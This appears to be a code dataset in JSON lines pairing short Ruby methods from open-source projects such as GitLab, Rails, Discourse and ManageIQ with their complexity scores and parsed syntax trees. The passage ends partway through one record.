{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/placeholders_post_filter.rb","start_line":104,"raw_source":"def replace_text_placeholders(node)\n content = node.to_html\n placeholder = nil\n\n html_content =\n Gitlab::StringPlaceholderReplacer.replace_string_placeholders(content, PLACEHOLDERS_REGEX) do |arg|\n placeholder = arg if PLACEHOLDERS[arg]\n\n replace_placeholder_action(PLACEHOLDERS[arg])\n end\n\n if content != html_content\n node = node.replace(html_content).first\n node['data-placeholder'] = \"%{#{placeholder}}\" if placeholder\n end\n\n node\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_text_placeholders\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"to_html\"]}]},{\"type\":\"lvasgn\",\"children\":[\"placeholder\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"html_content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"StringPlaceholderReplacer\"]},\"replace_string_placeholders\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"const\",\"children\":[null,\"PLACEHOLDERS_REGEX\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PLACEHOLDERS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"placeholder\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"replace_placeholder_action\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PLACEHOLDERS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"html_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"html_content\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-placeholder\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder\"]}]},{\"type\":\"str\",\"children\":[\"}\"]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}","id":"65da9078-d952-4280-87f6-e97873b840c6"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/cookie_store_test.rb","start_line":300,"raw_source":"def test_setting_session_id_to_nil_is_respected\n with_test_route_set do\n get \"/set_session_value\"\n get \"/get_session_id\"\n sid = response.body\n assert_equal 36, sid.size\n\n get \"/change_session_id\"\n assert_not_equal sid, response.body\n end\n end","complexity_score":16.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_setting_session_id_to_nil_is_respected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/set_session_value\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/get_session_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[36]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/change_session_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"sid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]}]}]}]}","id":"d37a6154-c28c-4777-926e-0310af8a51eb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/packages/rpm/repository_file_uploader.rb","start_line":12,"raw_source":"def filename\n model.file_name\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"file_name\"]}]}","id":"cbbce570-cdc2-414b-9f76-2755480a6728"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1139,"raw_source":"def allowed_respools(_options = {})\n all_resource_pools = ResourcePool.where(:ems_id => get_source_and_targets[:ems].try(:id))\n filtered_targets = process_filter(:rp_filter, ResourcePool, all_resource_pools)\n allowed_ci(:respool, [:cluster, :host, :folder], filtered_targets.collect(&:id))\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_respools\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_resource_pools\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourcePool\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_source_and_targets\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ems\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filtered_targets\",{\"type\":\"send\",\"children\":[null,\"process_filter\",{\"type\":\"sym\",\"children\":[\"rp_filter\"]},{\"type\":\"const\",\"children\":[null,\"ResourcePool\"]},{\"type\":\"lvar\",\"children\":[\"all_resource_pools\"]}]}]},{\"type\":\"send\",\"children\":[null,\"allowed_ci\",{\"type\":\"sym\",\"children\":[\"respool\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cluster\"]},{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"sym\",\"children\":[\"folder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_targets\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"70c497a6-3720-4a98-8b40-74b53819f00b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/invoke_rop_steps.rb","start_line":17,"raw_source":"def add_ok_result_for_step(ok_result_for_step, ok_results_for_steps)\n result_type = :ok\n step_class, returned_message = parse_result_for_step(ok_result_for_step, result_type)\n\n ok_results_for_steps[step_class] = Gitlab::Fp::Result.ok(returned_message)\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_ok_result_for_step\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ok_result_for_step\"]},{\"type\":\"arg\",\"children\":[\"ok_results_for_steps\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_type\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"step_class\"]},{\"type\":\"lvasgn\",\"children\":[\"returned_message\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_result_for_step\",{\"type\":\"lvar\",\"children\":[\"ok_result_for_step\"]},{\"type\":\"lvar\",\"children\":[\"result_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ok_results_for_steps\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"step_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"ok\",{\"type\":\"lvar\",\"children\":[\"returned_message\"]}]}]}]}]}","id":"50b4eea6-3b77-4036-a5a7-90c55101b91e"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200810220841_rename_moderators_create_categories_setting.rb","start_line":4,"raw_source":"def up\n execute \"UPDATE site_settings SET name = 'moderators_manage_categories_and_groups' WHERE name = 'moderators_create_categories'\"\n execute \"UPDATE user_histories SET subject = 'moderators_manage_categories_and_groups' WHERE subject = 'moderators_create_categories'\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE site_settings SET name = 'moderators_manage_categories_and_groups' WHERE name = 'moderators_create_categories'\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE user_histories SET subject = 'moderators_manage_categories_and_groups' WHERE subject = 'moderators_create_categories'\"]}]}]}]}","id":"e73f9118-513c-43a9-830a-c335715cb676"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/db/migrate/20220112091339_reset_erroneous_like_reactions_count.rb","start_line":4,"raw_source":"def up\n like_reaction = DB.query_single(<<~SQL).first || \"heart\"\n SELECT value\n FROM site_settings\n WHERE name = 'discourse_reactions_reaction_for_like'\n SQL\n\n # the model does this gsub\n # https://github.com/discourse/discourse-reactions/blob/10505af498ae99b6acc704bff6eb072bbffc2ade/app/models/discourse_reactions/reaction.rb#L25\n like_reaction = like_reaction.gsub(\"-\", \"\")\n\n # AR enum in the Reaction model\n emoji_reaction_type = 0\n\n inconsistent_reactions =\n DB.query(<<~SQL, like_reaction: like_reaction, emoji_reaction_type: emoji_reaction_type)\n SELECT id\n FROM discourse_reactions_reactions\n WHERE\n reaction_type = :emoji_reaction_type AND\n reaction_value = :like_reaction AND\n reaction_users_count IS NOT NULL\n SQL\n\n return if inconsistent_reactions.size == 0\n ids = inconsistent_reactions.map(&:id)\n\n DB.exec(<<~SQL, ids: ids)\n DELETE FROM discourse_reactions_reaction_users\n WHERE reaction_id IN (:ids)\n SQL\n\n DB.exec(<<~SQL, ids: ids)\n UPDATE discourse_reactions_reactions\n SET reaction_users_count = NULL\n WHERE id IN (:ids)\n SQL\n end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"like_reaction\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT value\\n\"]},{\"type\":\"str\",\"children\":[\"FROM site_settings\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE name = 'discourse_reactions_reaction_for_like'\\n\"]}]}]},\"first\"]},{\"type\":\"str\",\"children\":[\"heart\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"like_reaction\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like_reaction\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"emoji_reaction_type\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"inconsistent_reactions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM discourse_reactions_reactions\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\" reaction_type = :emoji_reaction_type AND\\n\"]},{\"type\":\"str\",\"children\":[\" reaction_value = :like_reaction AND\\n\"]},{\"type\":\"str\",\"children\":[\" reaction_users_count IS NOT NULL\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"like_reaction\"]},{\"type\":\"lvar\",\"children\":[\"like_reaction\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"emoji_reaction_type\"]},{\"type\":\"lvar\",\"children\":[\"emoji_reaction_type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inconsistent_reactions\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inconsistent_reactions\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM discourse_reactions_reaction_users\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE reaction_id IN (:ids)\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE discourse_reactions_reactions\\n\"]},{\"type\":\"str\",\"children\":[\"SET reaction_users_count = NULL\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id IN (:ids)\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}]}]}","id":"5695e047-bf4e-4cd2-ad83-b7eec6002ee3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/customer_relations/contact_state_counts.rb","start_line":24,"raw_source":"def all\n counts.values.sum\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counts\"]},\"values\"]},\"sum\"]}]}","id":"8b0c8e92-f7fb-46f6-92f4-a79fdef6c5c9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable.rb","start_line":389,"raw_source":"def updatable_reviewable_scores\n reviewable_scores.pending\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"updatable_reviewable_scores\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewable_scores\"]},\"pending\"]}]}","id":"861cbeea-21d4-44b1-abde-ccaaf856dfcc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests_controller.rb","start_line":92,"raw_source":"def index\n @merge_requests = @issuables\n\n respond_to do |format|\n format.html\n format.atom { render layout: 'xml' }\n end\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_requests\",{\"type\":\"ivar\",\"children\":[\"@issuables\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"atom\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"xml\"]}]}]}]}]}]}]}]}]}","id":"b9c3c38d-bcfb-4b1f-b2dd-4b63e544a5c5"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/user_badges_controller.rb","start_line":170,"raw_source":"def can_assign_badge_to_user?(user)\n master_api_call = current_user.nil? && is_api?\n master_api_call || guardian.can_grant_badges?(user)\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"can_assign_badge_to_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"master_api_call\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"is_api?\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"master_api_call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_grant_badges?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}","id":"d0954477-34a2-4508-b4ca-98eae0008a74"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/aggregations.rb","start_line":32,"raw_source":"def non_members\n @instance_cache[:non_members] ||= known_users - members\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"non_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"non_members\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"known_users\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"members\"]}]}]}]}","id":"168c99d2-2f31-4bf6-97d0-88e8713ba210"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_workflow.rb","start_line":31,"raw_source":"def self.class_for_source(source_or_id)\n source = case source_or_id\n when ActiveRecord::Base then source_or_id\n else VmOrTemplate.find_by(:id => source_or_id)\n end\n return nil if source.nil?\n\n source.class.manager_class.provision_workflow_class\n end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class_for_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_or_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_or_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},{\"type\":\"lvar\",\"children\":[\"source_or_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"source_or_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"class\"]},\"manager_class\"]},\"provision_workflow_class\"]}]}]}","id":"04f01218-019e-4717-8043-f2b35eb83838"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":475,"raw_source":"def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array\n comments = Comment.all.merge!(includes: :post, where: [\"post_id = ?\", 4], limit: 3, offset: 1, order: \"comments.id\").to_a\n assert_equal 3, comments.length\n assert_equal [6, 7, 8], comments.collect(&:id)\n end","complexity_score":12.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"post_id = ?\"]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"comments.id\"]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"d2e07a73-ae2f-4ce3-abe7-ce3cc7652305"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/code_length.rb","start_line":19,"raw_source":"def max_length\n cop_config['Max']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Max\"]}]}]}","id":"ccc10de4-0101-4265-8f22-305630f04c67"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/paginator.rb","start_line":37,"raw_source":"def over_limit?\n return false unless @limit\n\n @limit > 0 && @total >= @limit\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"over_limit?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@limit\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@limit\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@total\"]},\">=\",{\"type\":\"ivar\",\"children\":[\"@limit\"]}]}]}]}]}","id":"b3c4284a-7a55-4a30-9b8c-3f691331c6a0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/plugin.rb","start_line":156,"raw_source":"def flush\n output.flush(msg) if (output)\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"flush\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"flush\",{\"type\":\"send\",\"children\":[null,\"msg\"]}]},null]}]}","id":"558a52e4-9e5a-4928-92d0-e3f492b5d381"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/spec/multiwoven/integrations/destination/google_sheets/client_spec.rb","start_line":293,"raw_source":"def sync_config\n Multiwoven::Integrations::Protocol::SyncConfig.from_json(\n sync_config_json.to_json\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Multiwoven\"]},\"Integrations\"]},\"Protocol\"]},\"SyncConfig\"]},\"from_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sync_config_json\"]},\"to_json\"]}]}]}","id":"97459ca4-9e15-4d01-b1e5-fdab61da2080"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/queries.rb","start_line":70,"raw_source":"def print_operation_definition(op, indent: \"\")\n @in_operation = true\n print_string(\"#{indent}#{op.operation_type}\")\n print_string(\" #{op.name}\") if op.name\n\n # Do these on a temp instance, so that we detect any skipped arguments\n # without actually printing the output to the current buffer\n temp_printer = self.class.new\n op.directives.each { |d| temp_printer.print(d) }\n op.selections.each { |s| temp_printer.print(s) }\n @skipped_arguments |= temp_printer.skipped_arguments\n @printed_arguments |= temp_printer.printed_arguments\n\n # remove variable definitions only used in skipped (client) fields\n vars = op.variables.reject do |v|\n @skipped_arguments.include?(v.name) && @printed_arguments.exclude?(v.name)\n end\n\n if vars.any?\n print_string(\"(\")\n vars.each_with_index do |v, i|\n print_variable_definition(v)\n print_string(\", \") if i < vars.size - 1\n end\n print_string(\")\")\n end\n\n print_directives(op.directives)\n print_selections(op.selections, indent: indent)\n ensure\n @in_operation = false\n end","complexity_score":62.98,"ast_json":"{\"type\":\"def\",\"children\":[\"print_operation_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"op\"]},{\"type\":\"kwoptarg\",\"children\":[\"indent\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@in_operation\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"operation_type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"print_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"name\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"temp_printer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"directives\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_printer\"]},\"print\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"selections\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_printer\"]},\"print\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@skipped_arguments\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"c